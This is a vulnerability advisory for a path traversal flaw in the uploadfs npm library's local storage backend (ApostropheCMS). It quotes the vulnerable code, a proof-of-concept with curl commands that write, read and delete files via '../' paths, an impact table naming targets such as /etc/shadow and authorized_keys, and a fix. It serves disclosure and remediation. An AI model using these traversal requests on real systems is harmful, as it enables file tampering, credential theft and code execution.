---
id: "CVE-2026-113651"
kind: "vulnerability"
aliases: ["CVE-2026-113651", "GHSA-gmfx-5g6x-rr72"]
title: "ApostropheCMS: Path traversal in uploadfs"
severity: "low"
cvss: 3.3
epss: 0.003280000062659383
exploited: false
status: "open"
category: "package"
products: [{"name": "uploadfs", "fixed": ["1.28.0"], "affected": "< 1.28.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophecms", "cwe-22", "local-storage", "node.js", "package", "self-hosted", "uploadfs"]
not_affected_if: ["cloud-storage-backend-only", "no-user-controlled-upload-paths", "uploadfs-at-1.28.0-or-later"]
published_at: "2026-10-20T17:17:35+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-gmfx-5g6x-rr72", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113651", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# ApostropheCMS: Path traversal in uploadfs

The uploadfs npm library's local storage backend joins user-supplied paths directly onto the uploads directory without rejecting '../' sequences. An attacker who can control an upload or file path can read, write, and delete arbitrary files on the host, which the advisory says can lead to remote code execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:uploadfs affected < 1.28.0 fixed 1.28.0

## How to check

Run npm ls uploadfs in the project and check whether the version is below 1.28.0.
Check whether the app uses the local storage backend of uploadfs (ApostropheCMS with local uploads).

## Fix

Upgrade uploadfs to 1.28.0 or later (ApostropheCMS apostrophe package that depends on it).
Until upgraded, reject paths containing '..' or resolve them and verify they stay inside the uploads directory.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-gmfx-5g6x-rr72
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113651

## From the sources

## Summary
The `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

---

## Details

### Root Cause
`packages/uploadfs/uploadfs.js:652-655`

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

```javascript
function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}
```

`packages/uploadfs/lib/storage/local.js`

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108


```javascript
copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
```

- `prefixPath()` does **not** normalize paths or reject `../`.
- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.

---

## Proof of Concept (PoC)

Here is the poc files 
https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

### Build and run
```bash
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
```

### Expected output
```text
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
```

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

### Manual reproduction
```bash
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
```

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />

---

## Impact

| Capability | Risk |
|------------|------|
| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |
| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |
| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |

---

## Remediation

Add path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:

```javascript
const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
